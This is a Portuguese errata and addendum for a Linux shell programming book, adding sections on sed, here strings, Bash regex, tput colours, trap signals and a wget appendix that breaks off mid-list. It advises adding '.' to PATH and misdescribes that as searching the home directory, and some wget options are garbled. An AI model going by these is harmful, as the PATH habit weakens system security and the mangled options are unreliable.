Incluir na pág, 84, após o primeiro parágrafo e antes de “Imaginemos que exista um **S**istema ...”

Existem vários arquivos de comandos que são executados quando você se "loga". Um deles é o `~/.bash_profile` (ou simplesmente `~/.profile` no UNIX). Este arquivo é um dos responsáveis pela customização do ambiente de trabalho de cada usuário e por isso fica na raiz do seu diretório *home* (que como veremos no livro pode ser representado genericamente por um til `(~)`).

Se você inserir ao final deste arquivo a linha:

```
PATH=$PATH:.
```

Você estará dizendo ao *Shell* para procurar arquivos também no seu diretório *home* e poderá executar um *script* chamado `prg.sh` simplesmente fazendo:

```
$ prg.sh
```

E é esta a forma de uso que você verá ao longo de todo este livro. Caso esta linha não exista no seu arquivo e você não queira inseri-la, para executar o mesmo `prg.sh` faça:

```
$ ./prg.sh
```

Na página 107, trocar a linha:

Outro exemplo:

Pelo seguinte texto:

Da mesma maneira, para substituirmos todas as ocorrências de um texto, a partir da segunda, deveremos fazer:

```
$ sed 's/Texto/OutroTexto/2g' arquivo
```

Exemplo:

```
$ sed 's/r/X/2g' quequeisso
ATENCAO, O TEXTO ABAIXO NAO EH TREINAMENTO,
EH UMA LAVAGEM CEREBRAL!!!
O Shell alem de analisar cada dado entXado a paXtiX do pXompt do UNIX,
interfaceando com os usuaXios, tem tambem as seguintes atXibuicoes:
InterpXetadoX de comandos;
Controle do ambiente UNIX;
Redirecionamento de entXada e saída;
Substituicao de nomes de arquivos;
Concatenacao de pipe;
Execucao de progXamas;
Poderosa linguagem de pXogXamacao.
```

Voltemos aos exemplos de uso do `sed`:

Página 112, antes do título:

A família de comandos grep

Inserir o texto:

A opção -i

Se você deseja editar via `sed` e definitivamente alterar um arquivo, você deve fazer algo assim:

```
$ sed 's/Texto/TextoAlterado/' arquivo > arquivo.alterado
$ mv arquivo.alterado arquivo
```

Porém, no `GNU sed` (sempre o GNU facilitando nossa vida) você poderia fazer isso de forma muito simplificada usando a opção `-i`. Suponha que queira trocar todos os artigos “os” do nosso amigo `quequeisso` pelo seu similar em inglês “*the*”. Então cheio de convicção, faço:

```
$ sed -i 's/os/the/g' quequeisso
```

e para verificar:

```
$ cat quequeisso
ATENCAO, O TEXTO ABAIXO NAO EH TREINAMENTO,
EH UMA LAVAGEM CEREBRAL!!!
O Shell alem de analisar cada dado entrado a partir do prompt do UNIX,
interfaceando com the usuarithe, tem tambem as seguintes atribuicoes:
Interpretador de comandthe;
Controle do ambiente UNIX;
Redirecionamento de entrada e saída;
Substituicao de nomes de arquivthe;
Concatenacao de pipe;
Execucao de programas;
Poderthea linguagem de programacao.
```

Xiii, lambuzei o `quequeisso` porque eu deveria ter especificado que as cadeias “os” estariam entre espaços. Então vamos devolvê-lo à sua forma anterior:

```
$ sed -i 's/the/os/g' quequeisso
$ cat quequeisso
ATENCAO, O TEXTO ABAIXO NAO EH TREINAMENTO,
EH UMA LAVAGEM CEREBRAL!!!
O Shell alem de analisar cada dado entrado a partir do prompt do UNIX,
interfaceando com os usuarios, tem tambem as seguintes atribuicoes:
Interpretador de comandos;
Controle do ambiente UNIX;
Redirecionamento de entrada e saída;
Substituicao de nomes de arquivos;
Concatenacao de pipe;
Execucao de programas;
Poderosa linguagem de programacao.
```

Ainda bem que funcionou. Se anteriormente o texto tivesse uma ou mais cadeia(s) “the”, essa volta não seria tão fácil. E é por isso que a opção `-i` tem um facilitador incrível que permite especificar o nome de um arquivo que manterá o conteúdo anterior intacto, para o caso de necessitar uma recuperação. Já que um bom exemplo vale mais que mil palavras, veja o caso abaixo:

```
$ sed -i.velho 's/ os / the /g' quequeisso
```

```
$ ls queque*
quequeisso        quequeisso.velho
```

Epa, agora são dois arquivos. Vamos ver seus conteúdos:

```
$ cat quequeisso
ATENCAO, O TEXTO ABAIXO NAO EH TREINAMENTO,
EH UMA LAVAGEM CEREBRAL!!!
O Shell alem de analisar cada dado entrado a partir do prompt do UNIX,
interfaceando com the usuarios, tem tambem as seguintes atribuicoes:
Interpretador de comandos;
Controle do ambiente UNIX;
Redirecionamento de entrada e saída;
Substituicao de nomes de arquivos;
Concatenacao de pipe;
Execucao de programas;
Poderosa linguagem de programacao.
$ cat quequeisso.velho
ATENCAO, O TEXTO ABAIXO NAO EH TREINAMENTO,
EH UMA LAVAGEM CEREBRAL!!!
O Shell alem de analisar cada dado entrado a partir do prompt do UNIX,
interfaceando com os usuarios, tem tambem as seguintes atribuicoes:
Interpretador de comandos;
Controle do ambiente UNIX;
Redirecionamento de entrada e saída;
Substituicao de nomes de arquivos;
Concatenacao de pipe;
Execucao de programas;
Poderosa linguagem de programacao.
```

Como vocês viram o `quequeisso` foi alterado, porém a opção `-i` usada juntamente com a extensão `.velho`, salva uma cópia integra em `quequeisso.velho`. Repito: caso a opção `-i` tivesse sido usada sem a extensão. Os dados teriam sido gravados no próprio `quequeisso`.

Na página 141, antes dos exercícios, incluir o texto:

Mais redirecionamento sob o Bash

Agora que nós temos um pouco mais de bagagem técnica podemos entender o conceito do *here strings* (que funciona somente sob o bom e velho *Bash*). Primeiro um programador com complexo de inferioridade criou o redirecionamento de entrada e representou-o com um sinal de menor `(<)` para representar seus sentimento. Em seguida, outro sentindo-se pior ainda, criou o *here document* representando-o por dois sinais de menor `(<<)` porque sua fossa era maior. O terceiro, pensou: "estes dois não sabem o que é estar por baixo"... Então criou o *here strings* representado por três sinais de menor `(<<<)`.

Brincadeiras a parte, o *here strings* é utilíssimo e, não sei por que, é um perfeito desconhecido. Na pouquíssima literatura que há sobre o tema, nota-se que o *here strings* é freqüentemente citado como uma variante do *here document*, com a qual discordo pois sua aplicabilidade é totalmente diferente daquela.

Sua sintaxe é simples:

```
$ comando <<< $cadeia
```

Onde `cadeia` é expandida e alimenta a entrada primária (*stdin*) de `comando`.

Como sempre, vamos direto aos exemplos dos dois usos mais comuns para que vocês próprios tirem suas conclusões.

O mais comum é ver uma *here string* substituindo a famigerada construção `echo "cadeia" | comando`, que força um `fork`, criando um *subshell* e onerando o tempo de execução. Vejamos alguns exemplos:

```
$ a="1 2 3"
$ cut -f 2 -d ' ' <<< $a                Normalmente faz-se: echo $a | cut -f 2 -d ' '
2
$ echo $NomeArq                         Consertando nomes gerados no rwin
Meus Documentos
$ tr "A-Z " "a-z_" <<< $NomeArq         Substituindo o echo ... | tr ...
meus_documentos
$ bc <<<"3 * 2"
6
$ bc <<<"scale = 4; 22 / 7"
3.1428
```

Vejamos uma forma rápida de inserir uma linha como cabeçalho de um arquivo:

```
$ cat num
1       2
3       4
5       6
7       8
9       10
$ cat - num <<< "Impares Pares"         O menos (-) representa o stdin
Impares Pares
1       2
3       4
5       6
7       8
9       10
```

Logo no início da página 174, antes da seção “E tome de test”, inserir a seção a seguir:

Operadores aritméticos para testar

Além das diversas formas de comparação que já vimos, também podemos fazer comparações numéricas, usando aritmética do *Shell,* com os operadores do tipo `((...))`. Vejamos uns exemplos:

Exemplos:

```
$ Var=30
$ ((Var < 23)) && echo Eh menor
$ Var=20
$ ((Var < 23)) && echo Eh menor
Eh menor
```

Note que caso o primeiro operando seja um nome de variável válido, isto é, comece por letra ou sublinha e contenha somente letras , números e sublinha, o *Shell* o verá como sendo uma variável e caso esta variável não esteja definida o valor zero será assumido para ela, por tratar-se de comparação numérica, o que poderá comprometer o resultado.

```
$ unset var                                  $var já era...
$ ((Var < 23)) && echo Eh menor
Eh menor
```

Já que estamos usando a aritmética do *Shell,* podemos fazer coisas do tipo:

```
$ a=2
$ b=3
$ c=5
$ VAR=10
$ if ((VAR == a * b + 10 * c))
> then
>     echo Eh igual
> fi
$ VAR=56
$ if ((VAR == a * b + 10 * c))
> then
>     echo Eh igual
> fi
Eh igual
```

Como vimos, fizemos um monte de operações aritméticas, comparamos com o valor da variável `$VAR` e embutimos isso tudo dentro de um `if`. Poderoso, não?

Na página 175, antes da seção:

O caso que o case casa melhor

inserir:

A partir da versão 3.0 o *Bash* passou a suportar expressões regulares para especificar condições com a sintaxe semelhante ao `awk`, ou seja:

```
[[ cadeia =~ regexp ]]
```

onde `regexp` é uma expressão regular. Assim sendo, poderíamos montar uma rotina externa para crítica genérica de horários com a seguinte construção:

```
if  [[ $Hora =~ '([01][0-9]|2[0-3]):[0-5][0-9]' ]]
then
    echo Horario OK
else
    echo O horario informado esta incorreto
fi
```

As subcadeias que casam com expressões entre parênteses são salvas no vetor `BASH_REMATCH`. O elemento de `BASH_REMATCH` com índice `0` é a porção da cadeia que casou com a expressão

regular inteira. O elemento de `BASH_REMATCH` com índice `n` é a porção da cadeia que casou com a `enésima` expressão entre parênteses. Vamos executar direto no *prompt* o comando acima para entender melhor:

```
$ Hora=12:34
$ if  [[ $Hora =~ '([01][0-9]|2[0-3]):[0-5][0-9]' ]]
> then
>     echo Horario OK
> else
>     echo O horario informado esta incorreto
> fi
Horario OK
$ echo ${BASH_REMATCH[@]}
12:34 12
$ echo ${BASH_REMATCH[0]}
12:34
$ echo ${BASH_REMATCH[1]}
12
```

No primeiro `echo` que fizemos, o arroba `(@)` representa todos os elementos do vetor, como veremos mais adiante (na seção "Um pouco de manipulação de vetores do capítulo 7). Em seguida vimos que o elemento índice `0` está com a hora inteira e o elemento `1` está com a subcadeia que casou com `[01][0-9]|2[0-3],` isto é, a expressão que estava entre parênteses.

Vamos ver se com outro exemplo pode ficar mais claro.

```
$ if [[ supermercado =~ '(mini|(su|hi)per)?mercado' ]]
> then
>     echo "Todos os elementos - ${BASH_REMATCH[@]}"  O mesmo que echo ${BASH_REMATCH[*]}
>     echo "Vetor completo     - ${BASH_REMATCH[0]}"  O mesmo que echo $BASH_REMATCH
>     echo "Elemento indice 1  - ${BASH_REMATCH[1]}"
>     echo "Elemento indice 2  - ${BASH_REMATCH[2]}"
> fi
Todos os elementos  - supermercado super su
Vetor completo      - supermercado
Elemento indice 1   - super
Elemento indice 2   - su
```

Na página 199, antes do texto “Exemplo”, inserir:

Com este comando também se pode colorir a tela. Mais adiante, no capítulo 8, seção “Mandando no Terminal”, você verá outras formas de fazer a mesma coisa, acho porém, esta que veremos agora, mais intuitiva (ou menos “desintuitiva”). A tabela a seguir mostra os comandos para especificarmos os padrões de cores de frente (*foreground*) ou de fundo (*background*):

Obtendo cores com o comando tput

Comando	Efeito
`tput setaf n`	Especifica `n` como a cor de frente (*foreground*)
`tput setab n`	Especifica `n` como a cor de fundo (*background*)

Bem, agora você já sabe como especificar o par de cores, mas ainda não sabe as cores. A tabela a seguir mostra os valores que o `n` (da tabela anterior) deve assumir para cada cor:

Valores das cores com o comando tput

Valor	Cor
0	Preto
1	Vermelho
2	Verde
3	Marrom
4	Azul
5	Púrpura
6	Ciano
7	Cinza claro

Neste ponto você já pode começar a brincar com as cores. Mas peraí, ainda são muito poucas! É, tem toda razão... O problema é que ainda não te disse que se você colocar o terminal em modo de ênfase (`tput bold`), estas cores geram outras oito. Vamos montar então a tabela definitiva de cores:

Valores das cores com o comando tput

Valor	Cor	Cor após tput bold
0	Preto	Cinza escuro
1	Vermelho	Vermelho claro
2	Verde	Verde claro
3	Marron	Amarelo
4	Azul	Roxo
5	Púrpura	Rosa
6	Ciano	Ciano claro
7	Cinza claro	Branco

A seguir um script que serve para especificar o par de cores (da letra e do fundo). Veja:

```
$ cat mudacor.sh
#!/bin/bash
tput sgr0
clear
# Carregando as 8 cores básicas para o vetor Cores
Cores=(Preto Vermelho Verde Marrom Azul Púrpura Ciano "Cinza claro")
# Listando o menu de cores
echo "
Opc     Cor
===     ==="
for ((i=1; i<=${#Cores[@]}; i++))
{
    printf "%02d        %s\n" $i "${Cores[i-1]}"
}
CL=
until [[ $CL == 0[1-8] || $CL == [1-8] ]]
do
    read -p "
Escolha a cor da letra: " CL
done
#  Para quem tem bash a partir da versao 3.2
#+ o test do until acima poderia ser feito
#+ usando-se Expressoes Regulares. Veja como:
#+ until [[ $CL =~ 0?[1-8] ]]
#+ do
#+    read -p "
#+ Escolha a cor da letra: " CL
#+ done
CF=
until [[ $CF == 0[1-8] || $CF == [1-8] ]]
do
    read -p "
```

```
Escolha a cor de fundo: " CF
done
let CL-- ; let CF--   # A cor preta eh zero e nao um
tput setaf $CL
tput setab $CF
clear
```

Página 203, antes do primeiro parágrafo (primeiramente vamos listar...), inserir o seguinte texto:

Outra forma legal de usar o *here string* é casando-o com um comando `read`, não perdendo de vista o que aprendemos sobre `IFS`. O comando `cat` com as opções `-vet` mostra o `<ENTER>` como `$`, o `<TAB>` como `^I` e os outros caracteres de controle com a notação `^L` onde `L` é uma letra qualquer. Vejamos então o conteúdo de uma variável e depois vamos ler cada um de seus campos:

```
$ echo "$Linha"
Leonardo Mello  (21)3313-1329
$ cat -vet <<< "$Linha"
Leonardo Mello^I(21)3313-1329$          Separadores branco e <TAB> (^I)
$ read Nom SNom Tel <<< "$Linha"
$ echo "${Nom}_${SNom}_$Tel"            Vamos ver se ele leu cada um dos campos
Leonardo_Mello_(21)3313-1329            Leu porque separadores casavam com o IFS
```

Na página 213, antes da seção:

Outra forma de ler e gravar em arquivos

Inserir o seguinte texto:

Opção -a

O *Bash* permite uma leitura direta para um vetor ou *array*, e isso se faz com auxílio da opção `-a` do comando `read`.

Veremos os exemplos do uso desta opção no capítulo 7, na seção em que aprenderemos a lidar com os vetores.

Na página 237, antes da seção

Vetores ou Arrays

inserir o texto:

Expansão de chaves `{...}`

Apesar da semelhança na sintaxe, a expansão de chaves que veremos agora, não tem mais nada que se pareça com a expansão de parâmetros que acabamos de ver. Portanto não tente fazer correlações, porque qualquer semelhança é mera semelhança mesmo. `:)`

Expansão de chaves é um mecanismo similar à expansão de caracteres curingas, porém os nomes de arquivos gerados não necessariamente existem.

O resultado da expansão de chaves não será classificado, virá na mesma ordem em que foi gerado: da esquerda para a direita.

Exemplo:

```
$ echo {r,p,g}ato
rato pato gato
$ echo Julio{Cezar,Cesar,C.}Neves
JulioCezarNeves JulioCesarNeves JulioC.Neves
$ ls arq*                                   Listagem genérica dos arquivos
arqa1.txt  arqa2.txt  arqa.txt  arqb.txt  arqc.txt  arquivo  arquivo.txt
$ ls arq{a*,b,c}.txt                        Listagem mais seletiva
arqa1.txt  arqa2.txt  arqa.txt  arqb.txt  arqc.txt
```

Uma expressão da forma `{x..y}` será expandida, pela formação de uma seqüência de `x` até `y`, não importando se `x` e `y` são números ou caracteres (desde somente um caractere) e desde que ambos sejam do mesmo tipo.

Exemplo:

```
$ echo {A..Z}
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
$ echo {0..9}
0 1 2 3 4 5 6 7 8 9
$ echo {A..D}
A B C D
$ echo {D..A}                               Seqüencia decrescente
D C B A
$ echo {Z..a}                               Carac. entre Z (maiusc) e a (minusc)
Z [ ] ^ _ ` a
$ echo {AA..AZ}                             So 1 caractere ou não funciona
{AA..AZ}
$ echo {18..11}                             Quando é número, funciona
18 17 16 15 14 13 12 11
```

O grande uso deste recurso é para abreviar o seu trabalho. Vejamos como abreviar quando você tem uma seqüência longa e repetida de caracteres.

Exemplo:

```
$ mkdir /usr/local/src/bash/{old,new,dist,bugs}
$ chown root /usr/{ucb/{ex,edit},lib/{ex?.?,how_ex}}
```

Ganhando o jogo com mais coringas

Isso aqui parece um pouco com a expansão de chaves que acabamos de ver e às vezes podemos usar esta forma ou a anterior.

O *Shell* possui, alem do *globbing* normal (a expansão `*, ? e [a-z]` de nomes de arquivos e diretórios), ou seja, os coringas conhecidos por todos e um *globbing* extendido. Este *globbing* extendido, em alguns casos, poderá ser muito útil, e sempre será mais veloz que o `pipe` e `grep` que ele substituirá.

Nas linhas a seguir, `lista_de_padroes`, são um ou mais padrões separados por uma barra vertical `(|)`. Veja:

```
?(lista_de_padroes)
```

Casa zero ou uma ocorrência de `lista_de_padroes`

```
*(lista_de_padroes)
```

Casa zero ou mais ocorrências de `lista_de_padroes`

```
+(lista_de_padroes)
```

Casa uma ou mais ocorrências de `lista_de_padroes`

```
@(lista_de_padroes)
```

Casa com exatamente uma ocorrência de `lista_de_padroes`

```
!(lista_de_padroes)
```

Casa com qualquer coisa, exceto com `lista_de_padroes`

Para poder utilizá-los precisa executar o `shopt` conforme o exemplo abaixo:

```
$ shopt -s extglob
$ ls file*
file  filename  filenamename  fileutils
$ ls file?(name)
file filename
$ ls file*(name)
file filename filenamename
$ ls file+(name)
filename filenamename
$ ls file@(name)
filename
$ ls file!(name)                          Divertido esse
file filenamename fileutils
$ ls file+(name|utils)
filename filenamename fileutils
$ ls file@(name|utils)                    O mesmo que ls file{name,utils}
filename fileutils
```

Obrigado Tiago Peczenyj

Na página 239, antes do texto:

Vamos voltar às frutas e acrescentar ao vetor a `fruta do conde` e a `fruta pão`

Inserir o texto abaixo:

Como vimos no capítulo 6 (sem exemplificar) a opção `-a` do comando `read` lê direto para dentro de um vetor. Vejamos como isso funciona:

```
$ read -a Animais <<< "cachorro gato cavalo"    Usando Here Strings
```

Vamos ver se isso funcionou:

```
$ for i in 0 1 2
> do
>      echo ${Animais[$i]}
> done
cachorro
gato
cavalo
```

Ou ainda, montado vetores a partir da leitura de arquivos:

```
$ cat nums
1 2 3
2 4 6
3 6 9
4 8 12
5 10 15
$ while read -a vet
> do
>      echo -e ${vet[0]}:${vet[1]}:${vet[2]}
> done < nums
1:2:3
2:4:6
3:6:9
4:8:12
5:10:15
```

Na página 242 trocar:

"Como nós vimos na seção anterior (Construção com Parâmetros e Variáveis)"

por:

"Como vimos no Capítulo 2, no fim da seção sobre o comando `expr`."

Na página 251, antes da seção referente a Funções, inserir o seguinte texto:

Para terminar este assunto, abra uma console gráfica e escreva no *prompt* de comando o seguinte:

```
$ trap "echo Mudou o tamanho da janela" 28
```

Em seguida, pegue o *mouse* (arghh!!) e arraste-o de forma a variar o tamanho da janela corrente. Surpreso? É o Shell orientado a eventos... :)

Esse sinal é legal para você gerenciar telas, que mantenham a mesma formatação, mesmo se ao tamanho da janela for alterado (lembra-se do `tput lines` e do `tput cols`?)

Mais unzinho só, porque não pude resistir. Agora escreva assim:

```
$ trap "echo já era" 17
```

Em seguida faça:

```
$ sleep 3 &
```

Você acabou de criar um *subshell* que irá dormir durante três segundos em *background*. Ao fim

deste tempo, você receberá a mensagem `já era`, porque o sinal `17` é emitido a cada vez que um *subshell* termina a sua execução.

Para devolver estes sinais aos seus *defaults,* faça:

```
$ trap 17 28
```

Ou

```
$ trap - 17 28
```

Acabamos de ver mais dois sinais que não são tão importante como os que vimos anteriormente, mas vou registrá-los na tabela a seguir:

Sinais Não Muito Importantes

Sinal		Gerado por
17	SIGCHLD	Fim de um processo filho
28	SIGWINCH	Mudança no tamanho da janela gráfica

Incluir o texto a seguir como apêndice 5

Peripécias pela rede[1]

Fazendo download com o wget[2]

Principais opções:

Seu navegador se responsabiliza pela incumbência de buscar documentos da *web* e exibi-los, mas algumas vezes precisamos de um gerenciador de *download* parrudo e versátil. Para isso existe um programa chamado `wget` que é uma ferramenta leve e altamente eficiente, que pode cuidar de todas suas necessidades de download.

Se você quer espelhar um *web site* inteiro, baixar automaticamente músicas ou filmes de um conjunto de *weblogs* favoritos, ou transferir sem medo arquivos enormes em uma conexão de rede lenta ou intermitente, `wget` é para você.

O `wget` tem uma linha de comandos versátil e extensa, isto pode fazer que nos percamos no princípio, mas basta memorizar alguns comandos.

Para baixar uma página inteira, devemos fazer:

```
wget URL:
```

1 **Corrigido, filtrado e ampliado pelo querido amigo Jansen Carlo Sena. Valeu Jansen!**

2 Uma parte deste apêndice foi traduzida de http://usuarios.lycos.es/natasab/dev/online.php?code=2&id=16. Não conheço o autor, porém sou agradecido.

Por exemplo:

```
$ wget http://localhost/~DaMaeJoana
```

Se quisermos armazenar uma página complexa, isto é, incluindo imagens, sons, CSS, ... Deveremos utilizar o argumento `-p`, como a seguir:

```
$ wget -p http://localhost/~DaMaeJoana
```

O arquivo `index.html` estará em `/localhost/%7EDaMaeJoana` Isto é porque o `wget` cria por padrão (*default)* uma hierarquia de diretórios com domínio/subdiretórios/arquivos. Então se fizermos:

```
$ wget -p http://www.google.com
```

Será criado o diretório `./www.google.com`. Para evitar isto, podemos usar os seguintes modificadores:

```
$ wget -p -nH --cut-dirs=1 http://localhost/~DaMaeJoana/
...
$ ls
img     index.html      main.css
```

Onde:

`-nH` Não permite a criação do subdiretório `localhost`;

`--cut-dirs=n` Elimina `n` número de diretórios na hierarquia. No exemplo colocamos 1, portanto não será criado o diretório `%7EDaMaeJoana`.

Vejamos um exemplo retirado da página do manual do `wget (man wget)`. Suponhamos que desejamos baixar o `xemacs` que se encontra em `ftp://ftp.xemacs.org/pub/xemacs/`.

De acordo com os argumentos passados ao `wget`, o *download* será feito de acordo com os diretórios da tabela a seguir:

Opção wget	Diretório gerado
No options	ftp.xemacs.org/pub/xemacs/
-nH	pub/xemacs/
-nH -cut-dirs=1	xemacs/
-nH -cut-dirs=2	.
--cut-dirs=1	ftp.xemacs.org/xemacs/

Para baixar todos os arquivos que se encontram no diretório `pub/xemacs` do `ftp` acima, podemos usar a opção `-r (ou --recursive)`. Esta opção funciona de forma similar às dos comandos `ls` e `rm`.

Se desejamos especificar uma profundidade para o mergulho que o `wget` dará na URL, podemos

usar a opção `-l n` (ou `-level=n`) onde `n` é o número que define a profundidade que o `wget` deverá mergulhar. Seu padrão (*default*) é 5, isto é se for passado `-l` ou `-l 5`, será a mesma coisa.

Em se tratando de um arquivo de HTML, a opção `-l` especifica até que profundidade os *links* devem ser seguidos.

Em algumas páginas (principalmente de mp3) ao invés de criar *links* no próprio arquivo HTML. Oferecem outro arquivo com os endereços das URLs. Para baixar o conteúdo deste arquivo, só teremos que utilizar a opção `-i arquivo` (ou `--input-file=arquivo`), onde o arquivo `arquivo` contém a lista de URLs a serem baixadas.

```
$ wget -i http://www.servidor.com/conta/arquivo.com.urls
```

Se, por outro lado for uma página HTML que contém *links* para arquivos que nos interessam, teremos de forçar que o `wget` siga estes *links.* Para isso fazemos:

```
$ wget -r -l 1  -np -f -i http://www.gnu.org/downloads/emacs.html
```

Onde a opção `-np` (ou `--no-parent`) diz ao `wget` para não baixar arquivos que se encontram em um nível superior dentro da hierarquia de diretórios, no exemplo acima, `http://www.gnu.org/index.html` não seria baixado, embora tivesse *link* dentro de `emacs.html`.

As vezes você baixa uma URL inteira e no fim de um monte de tempo gasto verificar que um *link* importante estava quebrado e uma página fundamental para o seu trabalho não havia sido baixada. Isso é muito irritante e te dá vontade de chutar o computador... (não esqueça que software é o que nós xingamos e hardware é o que chutamos :) É justamente para evitar esta desilusão que existe a opção `--spider`. Esta opção quando em uso, o `wget` não baixará as páginas, simplesmente checará se elas estão lá.

Vejamos se meus *bookmarks* estão íntegros:

```
$ wget --spider --force-html -i bookmarks.html
```

Neste exemplo, a opção `--force-html` (ou `-F`) trata o arquivo de entrada como HTML.

Segundo o `man wget`, esta opção necessita ainda ser muito trabalhada para que o `wget` chegue perto das funcionalidades dos verdadeiros *web spiders*.

Suponha que você esteja em um *site* de músicas e ainda que você não admita absolutamente nada proprietário nem pirata no seu computador. Desta forma, você jamais baixaria músicas no formato `mp3` que é proprietário. Baixaria somente músicas no padrão *Ogg Vorbis* (extensão `.ogg`. Veja http://en.wikipedia.org/wiki/Ogg). Esta filtragem pode ser feita como no exemplo a seguir:

```
$ wget -nH -r -A ogg -f -i http://www.musicaslivres.com.br
```

A nova opção apresentada foi a `-A lista` ou (`--accept lista`). É bom sabermos que a lista lista pode conter vários elementos, separados por vírgula `(,)`. Para comprovar isso vejamos um caso onde eu queira somente os arquivos de fotos nos padrões jpg, bmp ou png.

```
$ wget -nH -r -A jpg, bmp, png -f -i http://www.playboy.com    ;-)
```

O oposto da opção `-A` é a opção `-R` lista (ou `--reject lista`), onde os componentes da lista `lista` estão separados por vírgulas `(,)`.

Um problema é que o `wget` por padrão gera muito tráfego de informação para a *stdout.* Veja:

```
$ wget http://localhost
--19:02:35--  http://localhost/
          => `index.html'
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://localhost/apache2-default/ [following]
--19:02:35--  http://localhost/apache2-default/
          => `index.html'
Reusing existing connection to localhost:80.
HTTP request sent, awaiting response... 200 OK
Length: 1,457 (1.4K) [text/html]

100%[====================================>] 1,457         --.--K/s

19:02:35 (41.25 MB/s) - `index.html' saved [1457/1457]
```

Como eu disse, foi gerado um monte de informação e repare que só baixamos um arquivo de 1457 bytes.

Basicamente temos duas opções para evitar tanta troca de mensagens:

`-q` (ou `--quiet`)	Desliga a saída do `wget`;
`-nv` (ou `--no-verbose`)	Desliga o modo "falador" sem ficar totalmente calado como o `-q`, isto é, as mensagens de erro e as informações básicas continuam indo para a saída padrão.

Vamos testar usando estas opções para ver o resultado:

```
$ wget -nv http://localhost
19:27:34 URL:http://localhost/apache2-default/ [1457/1457] -> "index.html" [1]
$ wget -q http://localhost
$ ls
index.html  index.html.1  index.html.2
```

Como vimos usando o modo "não falador" (`--no-verbose`) só vai uma linha para a tela e no modo calado (`--quiet`) não é gerada nenhuma linha. Vimos também após o `ls` que o padrão do `wget` é não destruir versões anteriores do arquivo, ao invés disso, coloca um número seqüencial que atua como se fosse uma versão.

Com a opção `-nc` (ou `--noclobber`) caso já exista um arquivo homônimo, o `wget` não baixará o novo.

Usando o wget com proxy

Muitos ambientes de rede hoje, por questões de segurança, não permitem que os computadores de sua rede conectem-se diretamente em servidores *web* na Internet. Essa tarefa deve ser executada por um servidor *proxy*.

Nesse contexto, as aplicações que precisam acessar a Internet, repassam suas solicitações ao *proxy* que por sua vez, retornam os dados recebidos dos servidores aos clientes internos da sua rede. Caso esse seja o seu cenário, ao tentar utilizar o `wget` em um ambiente de rede com *proxy*, para, por exemplo, salvar uma página da Internet, o valente aplicativo de linha de comando não irá funcionar. Isso se deve ao fato de que o `wget` tentará acessar diretamente a Internet e acabará sendo barrado pelos *firewalls*. Para resolver esse problema, basta informar ao `wget` a respeito da existência do *proxy*. Isso pode ser feito de duas maneiras: por meio de uma variável de ambiente ou pelo seu arquivo de configuração.

A primeira solução consiste em configurar uma variável de ambiente chamada `http_proxy` que é utilizada por muitos programas, dentre os quais o próprio `wget`, para saber a respeito da existência de um *proxy* na rede. Defina a variável com a configuração correta, `o wget` funcionará normalmente.

No exemplo a seguir, a variável de ambiente `http_proxy` é definida considerando que o endereço IP do *proxy* é `10.1.1.5` e a porta de utilização é a `3128`. Em seguida, o `wget` é utilizado normalmente para obtenção de um arquivo na Internet.

```
$ export http_proxy="http://10.1.1.5:3128"
$ wget -t -c 0 http://cdimage.ubuntu.com/releases/7.10/release/ubuntu-7.10-dvd-i386.iso
```

A segunda alternativa consiste em definir a variável `http_proxy` dentro dos arquivos de configuração do `wget`, o `wgetrc`, seja no específico, localizado no `home` do usuário, seja no global localizado, geralmente, no diretório `/etc`, utilizando-se da mesma sintaxe mostrada para a primeira alternativa.

Veja na seção a seguir (Arquivos de configuração) mais detalhes sobre estes arquivos.

Vale ressaltar que essa segunda alternativa torna a configuração do *proxy* permanente e mesmo fechando seu terminal de comandos ou mesmo reiniciando seu computador, o `wget` continuará instruído a solicitar suas atividades ao *proxy*. A primeira alternativa, entretanto, será valida somente para as execuções do `wget` realizadas a partir do terminal que você definiu a variável `http_proxy`. Diante disso, quando utilizar uma ou outra? Bem, se o seu computador fica, na maioria do tempo integrado a uma mesma rede, onde a configuração do *proxy* será sempre a mesma, a segunda alternativa lhe poupará esforço. Entretanto, caso você precise fazer uma configuração para integrar, digamos seu notebook, a uma rede somente para utilizar o `wget` pontualmente, a primeira alternativa lhe será mais adequada.

Arquivos de configuração

Os arquivos de configuração servem para personalizar algumas opções do `wget` de forma que não precisamos introduzi-las por linha de comandos. São eles:

Arquivos do wget	
Arquivo	**Função**
`~/.wgetrc`	Configuração pessoal de um usuário
`/usr/local/etc/wgetrc`	Configuração Global
`/etc/wgetrc`	Configuração Global (na maioria das distros)

O arquivo geral de configuração do `wget` só fica no `diretório /usr/local/etc/wgetrc` quando o aplicativo é compilado na máquina. Caso o `wget` seja instalado por meio do gerenciador de pacotes, como o `apt-get` ou o `RPM`, o arquivo de configuração será `/etc/wgetrc`, como é o caso da grande maioria das distribuições hoje em dia. Por isso a observação “na maioria das distros”.

Outras opções importantes

-h,--help

Mostra um resumo dos argumentos da linha de comandos

`-b, --background`

Executa o `wget` em segundo plano (*background).*

`-o logfile, --output-file=logfile`

Manda para o arquivo `logfile` as mensagens mais importantes.

`-a logfile, --append-output=logfile`

Anexa ao arquivo `logfile` as mensagens mais importantes e as de erro.

`-q, --quiet`

Modo silencioso. Inibe todas as saída para *stdin*.

`-nv, --non-verbose`

Inibe a saída para *stdin*, exceto as mensagens importantes e as de erro

`-i arquivo, --input-file= arquivo`

Recebe as URL a serem baixadas de uma lista contida no arquivo `arquivo`. Note que tem de ser uma lista de URLs, no caso de ser um arquivo HTML, temos que usar a opção `-F` (ou `--force-html`). Se os links do arquivo HTML forem relativos, empregue a opção `--base=url`.

`-t numero, --tries numero`

Número de tentativas na hora de baixar um arquivo. Se for especificado `0` (zero) ou `inf`

será feito um número infinito de tentativas.

`-nc, --no-clobber`

No caso de baixarmos um mesmo arquivo mais de uma vez, se a opção `-nc` estiver ativada, o arquivo não será baixado novamente, caso a opção não esteja ativada, o arquivo será baixado tantas vezes quanto for ordenado, porém adicionando-se um sufixo numérico seqüencial ao seu nome para distinguir a versão do arquivo.

`-c, --continue`

Aconselhamos a usar sempre esta opção (ou pelo menos quando baixar grandes arquivos). Ela torna o `wget` um pouco mais lento, mas em compensação, permite que um *download* seja recomeçado do ponto que parou. Se o servidor não suporta *donwloads* com recomeço e se já existir arquivo com o mesmo nome, `wget` não fará nada.

`--spider`

`wget` se comporta como um *webspider*, isto significa que `wget` somente testará a existência ou não dos *links*.

`-w tempo, --wait tempo`

